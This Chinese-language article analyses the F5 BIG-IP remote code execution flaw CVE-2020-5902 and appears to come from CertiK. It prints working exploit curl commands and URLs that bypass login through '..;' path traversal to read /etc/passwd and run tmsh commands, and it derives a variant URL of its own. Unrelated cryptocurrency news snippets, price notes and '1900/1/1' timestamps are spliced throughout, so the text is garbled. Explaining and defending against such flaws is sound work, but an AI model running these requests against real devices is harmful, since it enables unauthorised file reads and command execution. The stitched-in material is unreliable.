前言
今日一早起來推特以及各大技術論壇上炸開了鍋,安全圈子的人都在討論F5設備里遠程代碼執行的漏洞。很多討論的內容,大部分是在分享如何尋找目標,利用漏洞,并沒有關于對漏洞成因的分析。CertiK的安全研究員下載了存在漏洞的程序,搭建環境復現漏洞后,對漏洞的起因進行了分析,并在下文分享給大家。
背景
F5BIG-IP是美國F5公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平臺。PositiveTechnologies的研究人員MikhailKlyuchnikov發現其配置工具TrafficManagementUserInterface中存在遠程代碼執行漏洞,CVE編號為CVE-2020-5902。該漏洞CVSSv3評分為10分,攻擊者可利用該漏洞創建或刪除文件,關閉服務、執行任意的系統命令,最終獲得服務器的完全控制權。CVE具體表述請查看文章底部參考鏈接1。
受影響的BIG-IP軟件版本
漏洞利用
讀取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
CER報告:45個加密錢包品牌中只有6個經過了滲透測試:金色財經報道,網絡安全認證平臺 CER一份報告發現,45 個加密貨幣錢包品牌中,只有 6 個(即 13.3%)經過了滲透測試以發現安全漏洞。其中,只有一半對其產品的最新版本進行了測試。報告稱,完成最新滲透測試的三個品牌是 MetaMask、ZenGo 和 Trust Wallet。Rabby 和 Bifrost 對舊版本的軟件進行了滲透測試,Ledger Live 對未知版本(在報告中列為“N/A”)進行了滲透測試,列出的所有其他品牌均未提供任何做過這些測試的證據。
該報告還對每個錢包的安全性進行了總體排名,將 MetaMask、ZenGo、Rabby、Trust Wallet 和 Coinbase Wallet 列為總體最安全的錢包。[2023/8/10 16:16:45]
遠程執行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方給出的臨時修復方案(后文會對修復進行分析):
Swell Network的swETH/ETH池已上線Balancer和Aura Finance:5月9日消息,以太坊質押協議 Swell Network 的 swETH/ETH 流動性池已上線 Balancer 和基于 Balancer 的生態收益治理平臺 Aura Finance。[2023/5/9 14:51:26]
漏洞復現
在F5的官網注冊賬號之后,可以從F5的資源庫中下載存在漏洞的BIG-IP軟件。訪問參考鏈接2可以下載BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系統)的虛擬機鏡像。CertiK技術團隊因為使用VmwareFusion,下載的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
在VmwareFusion中加載鏡像(import):
加載完成之后,使用默認用戶名密碼登陸系統:
用戶名:root
密碼:default
系統初始化之后,使用”ifconfig”命令查詢虛擬機IP地址。CertiK技術團隊的BIG-IPTMUI虛擬機IP地址為”172.16.4.137”。
ADAMoracle預言機已通過Certik安全審計:11月16日消息,首個支持廣域節點喂價的去中心化預言機ADAMoracle已通過CertiK的安全審計,CertiK是業內知名的專注于區塊鏈安全審計的機構,使用嚴密且徹底的網絡與軟件安全技術識別安全漏洞,ADAMoracle預言機通過審計代表著在規避安全漏洞上更具技術能力,有效保障了交易的安全性。
ADAMoracle作為實現跨鏈并基于硬件服務器提供喂價服務的廣域節點預言機網絡,其核心功能是鏈接成千上萬的硬件服務器作為喂價節點,構建一個安全、可信、精準、防止女巫攻擊、可自我維護的去中心化預言機網絡,以圖靈智能化取代傳統預言機,是業內首個采用“廣域節點喂價”機制的去中心化預言機。[2021/11/16 21:55:37]
在瀏覽器中訪問BIG-IPTMUI登陸界面:
https://172.16.4.137/tmui/login.jsp
復現任意文件讀取:
在瀏覽器中訪問以下地址可以讀取”/etc/passwd”文件內容:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
動態 | 百貨公司Pricerite宣布開始接受BTC、ETH、LTC支付:百貨公司PriceRite宣布將在其商店接受加密貨幣BTC、ETH、LTC付款。其中,中國香港地區的MegaBox購物中心將立即啟動。[2019/8/29]
復現tmsh命令執行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
漏洞分析
在進入漏洞分析前,先要明確一點:漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用戶登陸后本身是可以被訪問的。
下面的截圖顯示了登陸前和登陸后訪問以下URL的區別:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Hanbitco參加EOS的Blockchain Producer競選:韓國虛擬貨幣交易所Hanbitco稱參加EOS的Blockchain Producer競選。此為韓國虛擬貨幣交易所首次參加EOS的 Blockchain Producer競選。[2018/5/24]
登陸前訪問:
被跳轉回登陸界面
輸入賬號密碼登陸管理界面之后再訪問,可執行fileRead.jsp讀取文件。
fileRead.jsp和tmshCmd.jsp雖然是在PoC中最終被利用的文件,但是他們并不是漏洞的起因。此漏洞的本質是利用Apache和后臺Java(tomcat)對URL的解析方式不同來繞過登陸限制,在未授權的情況下,訪問后臺JSP模塊。CertiK技術人員第一次注意到此類型漏洞是在2018年Orange的BlackHat演講:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.這里可以查看演講稿件(參考鏈接2)。
這里我們可以理解在F5BIG-IP的后臺服務器對收到了URL請求進行了兩次的解析,第一次是httpd(Apache),第二次是后一層的Java(tomcat).
在URL在第一次被Apache解析時,Apache關注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
當Apache在看見前半段是合法URL且是允許被訪問的頁面時,就把它交給了后面的第二層。Apache在這里完全把URL里面關鍵的/..;/給無視了。
在URL在第二次被解析時,后面的Java(tomcat)會把/..;/理解為,向上返回一層路徑。此時,/login.jsp/和/..;/會抵消掉。Tomcat看到的真正請求從
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
變成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再來fileRead.jsp并沒有對收到的請求進行身份驗證,后臺因此直接執行fileRead.jsp,讀取并返回了/etc/passwd文件的內容。
根據以上的思路,其實可以找出別的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
這里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一樣,是一個不需要登陸就能訪問的頁面。但是因為要向上返回兩次,需要用兩個/..;/來抵消掉”/login/legal.html”。
回到開頭提到的官方給出的臨時修復方案,修復方案的本質是在httpd的配置中添加以下規則:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
這個規則的意思是,當http服務器在監測到URL中包含..;(句號句號分號)的時候,直接返回404.這樣利用漏洞的請求就沒辦法到達后臺(第二層)了。
如何避免漏洞:
此漏洞的利用方式在網絡上公開之后,因為它的攻擊成本低廉,大批黑客都開始圖謀利用此漏洞攻擊使用F5BIG-IP產品的系統。黑客只需要付出極小的代價就能獲得目標系統的控制權,對系統產生巨大的破壞。
俗話說:“不怕賊偷,就怕賊惦記”。即便這樣的黑客攻擊事件這次沒有發生在你身上,不代表你是安全的。因為很有可能黑客的下一個目標就是你。
而Certik的專業技術團隊會幫你徹底打消這種“賊惦記”的擔憂。CertiK專業滲透測試團隊會通過對此類事件的監測,第一時間給客戶提交漏洞預警報告,幫助客戶了解漏洞細節以及防護措施。此舉可以確保客戶的系統不受攻擊并且不會遭受財產損失。
同時作為一名安全技術人員,在新漏洞被發現的時,不僅需要知道漏洞是如何被黑客利用的,更要去探尋漏洞背后的原因,方可積累經驗,更加有能力在復雜的系統中發現隱藏的漏洞。
CertiK以及其技術人員,將永遠把安全當做信仰,與大家一同學習并一同成長。
參考鏈接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
昨日以太坊開盤價在227.58美元,幣價最高達到228.03美元,最低價抵達216.32美元,收盤價在226.16美元,漲幅達到:-0.62%(-1.42),振幅達到:5.15%.
1900/1/1 0:00:00短線行情分析及操作建議:這兩天行情越來越有意思了,整體上波動在9300-9000小區間內,關注我時間久的朋友應該都知道我本身在寫分析也好,還是做行情解讀也罷,很少用技術指標今天還是一樣.
1900/1/1 0:00:00比特幣自昨日中午瀑布式下跌至9011后反彈回升,今日基本維持9200-9350區間震蕩,下午又是一陣小瀑布來到9100,當前幣價9120.
1900/1/1 0:00:00昨天到今天的9點,比特幣24小時凈流入2.48億美元,其中主力凈流入1.72億美元,散戶凈流入7719.62萬美元.
1900/1/1 0:00:007月初,律動BlockBeats與庫幣KuCoin聯合推出NEXT系列直播大會,旨在探索區塊鏈世界的下一站.
1900/1/1 0:00:00摩根溪創始人在YouTube節目中表示,Coinbase前首席法律最近進入美國貨幣監理署擔任代理署長,使銀行托管加密貨幣獲得了監管批準.
1900/1/1 0:00:00